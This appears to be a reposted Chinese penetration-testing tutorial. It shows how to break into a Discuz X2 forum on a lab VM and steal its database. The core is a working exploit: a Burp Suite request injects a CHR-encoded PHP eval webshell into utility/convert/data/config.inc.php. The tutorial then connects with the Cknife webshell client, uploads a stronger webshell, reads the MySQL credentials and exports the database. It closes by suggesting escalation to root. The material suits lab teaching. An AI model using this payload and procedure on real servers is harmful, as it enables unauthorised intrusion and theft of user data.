安基网 首页 安全 渗透测试 查看内容

20分钟攻破DISCUZ论坛并获取数据库

2019-4-4 13:44| 投稿: xiaotiger |来自: 互联网


免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

摘要: 主要内容:1.1 快速搭建discuz论坛1.2 使用kali下BurpSuite对discuz后台注入php木马1.3 使用Cknife“菜刀”上传webshell木马到网站1.4 使用Webshell查看mysql数据库密码并盗取数据库1.1 快速搭建discuz论坛1.1.1 攻击思路想要拿下一台主机A的权限: 1、了解一下这个服务器:端口,服务器版本,操作系统 ...

主要内容:

1.1 快速搭建discuz论坛

1.2 使用kali下BurpSuite对discuz后台注入php木马

1.3 使用Cknife“菜刀”上传webshell木马到网站

1.4 使用Webshell查看mysql数据库密码并盗取数据库

1.1 快速搭建discuz论坛

1.1.1 攻击思路

想要拿下一台主机A的权限:

1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞。

2、拿到对A有一定权限的身份。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权

3、传上去后,得到apache用户普通权限,再提权成root

1.1.2 快速构建实验环境

搭建一个LAMP环境。部署带有漏洞的discuz论坛

1、漏洞概述:

这漏洞出现在一个DZ X系列自带的转换工具里面。

漏洞路径:utility/convert/data/config.inc.php

漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无任何过滤检测,所以黑客可以通过post方式往config.inc.php中写木马程序。

触发漏洞过程:

1、在浏览器中访问打开 http://192.168.1.63/utility/convert/index.php

2、使用/utility/convert/index.php进行版本转换时,会自动创建utility/convert/data/config.inc.php文件。

3、config.inc.php文件没有做过滤,黑客可以使用post方法对config.inc.php注入木马程序

utility [ju:�0�4t�0�1l�0�5ti] 效用

渗透思路:



2、在centos7虚拟机xuegod63上搭建LAMP环境

[root@xuegod63 ~]#yum-y install httpd mariadb-server mariadb php php-mysql

[root@xuegod63 ~]# systemctlstart httpd

[root@xuegod63 ~]# systemctlstart mariadb

设置mysql数据库root用户的密码:

[root@xuegod63 ~]#mysqladmin -u root password"123456"

[root@xuegod63 ~]# mysql -uroot -p123456

MariaDB [(none)]> exit

3、上传到Discuz_X2_SC_UTF8.zip到linux系统/root下

[root@xuegod63 ~]#unzip Discuz_X2_SC_UTF8.zip

[root@xuegod63 ~]#mv upload/* /var/www/html/

[root@xuegod63 ~]#mv utility/ /var/www/html/

[root@xuegod63 ~]#cd /var/www/html/

[root@xuegod63 html]#chown -R apache:apache uc_server/ data/ config/ uc_client/

[root@xuegod63 html]# chown apache:apacheutility/convert/data

[root@xuegod63html]# iptables -F #清空防火墙

4、浏览器输入http://192.168.1.63 安装配置discuz论坛




到此discuz论坛安装完成了。

1.2 使用kali下BurpSuite对discuz后台注入php木马

1.2.1 浏览器上开启代理模式进行抓包

以下操作在kali linux 上进行操作

浏览器打开设置页面



我们把设置页面拉到最下面找到Network Proxy



配置我们的代理设置




1.2.1 在kali上使用burpsuite进行抓包

打开burpsuite。 brup [b�0�8:p] 打嗝 ; suite [swi:t] 套件



打开会有提示我们的jre 我们点击OK即可



注:此窗口弹出的含意如下:

Burp Suite社区版

您的JRE似乎是来自Oracle公司的ll.0.3版本

Burp还没有在这个平台上进行全面测试,您可能会遇到问题。

experience [�0�1k�0�4sp�0�1�0�5ri�0�5ns] 经历




我们先关闭拦截,点一下 “intercept is on”,变为: “intercept is off”,因为我们要先访问我们的论坛。


点完后变为:



intercept [�0�5�0�1nt�0�5�0�4sept] 拦截 截听

浏览器进行操作抓包

在kali上,打开注入漏洞的地方:http://192.168.1.63/utility/convert/



然后我们回到burpsuite开启拦截



我们再回到web界面点击任意版本的开始按钮



回到burpsuite查看截取到浏览器数据包:如果之前抓取到了别的数据包,需要先点击forward按钮,把之前的http请求都放行了。 然后再访问我们需要访问的链接。



右键点击空白处,选择send to repeater 。 repeater [r�0�1�0�4pi:t�0�5(r)] 中继器



然后在Repeader查看信息:



下面我们来修改这个数据包,我们把我们需要修改的内容使用rz命令传到kali方便我们复制粘贴。

修改第一行:

GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1

为:注意 POST后面没有回车 ,这里是文本显示自动换行了。

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes HTTP/1.1

注:这是一个php一句话木马加密后的内容。腾飞翻译后的内容为:

&newconfig[aaa%0a%0deval("$_POST[c];");//]=aaaa&submit=yes

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa

eval("$_POST[c];"););

扩展eval()函数:

eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行,一般情况下不建议使用容易被黑客利用。 evaluate [�0�1�0�4v�0�3ljue�0�1t] 评价

eval("echohello world;"); 等同于下边的代码: 

echo"hello world"; 在浏览器中都输出:hello world

修改完成后发送数据包



查看执行结果:

登录xuegod63上,查看刚通过该漏洞注入的文件:

[root@xuegod63 html]# cat/var/www/html/utility/convert/data/config.inc.php

注:/var/www/html/utility/convert/data/config.inc.php这个文件原来的网站上没有的



可以看到和我们修改提交的参数类似。而且多了很多^M符号。

扩展:^M符号

^M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r\n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^M。所以^M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除

%0a%0d等于\r\n

^M=\r换行符 只不过是windows里面的换行符罢了

1.3 使用Cknife“菜刀”上传webshell木马到网站

1.3.1 在xuegod63上配置java环境

搭建java环境

[root@xuegod63~]#yum install -y java

然后查看java版本

[root@xuegod63~]# java -version

openjdk version"1.8.0_201"

OpenJDK RuntimeEnvironment (build 1.8.0_201-b09)

OpenJDK 64-BitServer VM (build 25.201-b09, mixed mode)

我们在centos上面使用rz命令上传java版本的菜刀和我们后面需要的webshell2.php

[root@xuegod63~]# rz

按住ctrl +鼠标左键可以多选,我们选择Cknife.jar和webshell2.php



安装完成java以后我们再来启动菜刀程序,需要在图形界面执行此命令

[root@xuegod63~]#java -jar Cknife.jar



排错:

如果打开程序后,看到是乱码的,我们更换一下皮肤即可解决乱码问题





1.3.2 使用菜刀连接discuz论坛上面的php后门程序

右键点击添加



路径:http://192.168.1.63/utility/convert/data/config.inc.php

密码:c



双击点开我们添加的地址



已经可以进入网站目录




1.3.3 上传功能更强大的木马文件webshell2.php

注:这里需要上传到apache用户有写权限的目录中,因为安装过程中discuz需要管理员修改部分权限为apache用户,所以必然有可以上传文件的目录,我们可以直接上传到data目录下。



1.3.4 任意机器访问我们的webshell2.php木马文件

浏览器输入http://192.168.1.63/utility/convert/data/webshell2.php 输入密码:xuegod



成功进入webshell


1.4 使用Webshell查看mysql数据库密码并盗取数据库

1.4.1 分析配置文件获取数据库密码

获取mysql密码: 进到 /var/www/html/config/

获取到root用户和密码



1.4.2 导出数据库文件



选中自己想下载的软件包,导出数据库



保存好这个地址:/var/www/html/utility/convert/data/192.168.1.63_MySQL.sql




1.4.3 下载数据库到本地



也可以使用菜刀下载,回到菜刀需要点击右键更新缓存。




到这里就完成了。如果入侵的系统版本较低,我们我们就可以使用apache用户进行提权操作。届时我们就是root了

总结:

1 快速搭建discuz论坛

2 使用kali linux对discuz后台注入恶意代码

3 使用“菜刀”上传webshell木马

4 快速分析定位discuz配置文件并拿下数据库

来学神学IT 早日成为技术大牛



小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!

本文出自:https://www.toutiao.com/a6675857126612533771/

免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

 最新
返回顶部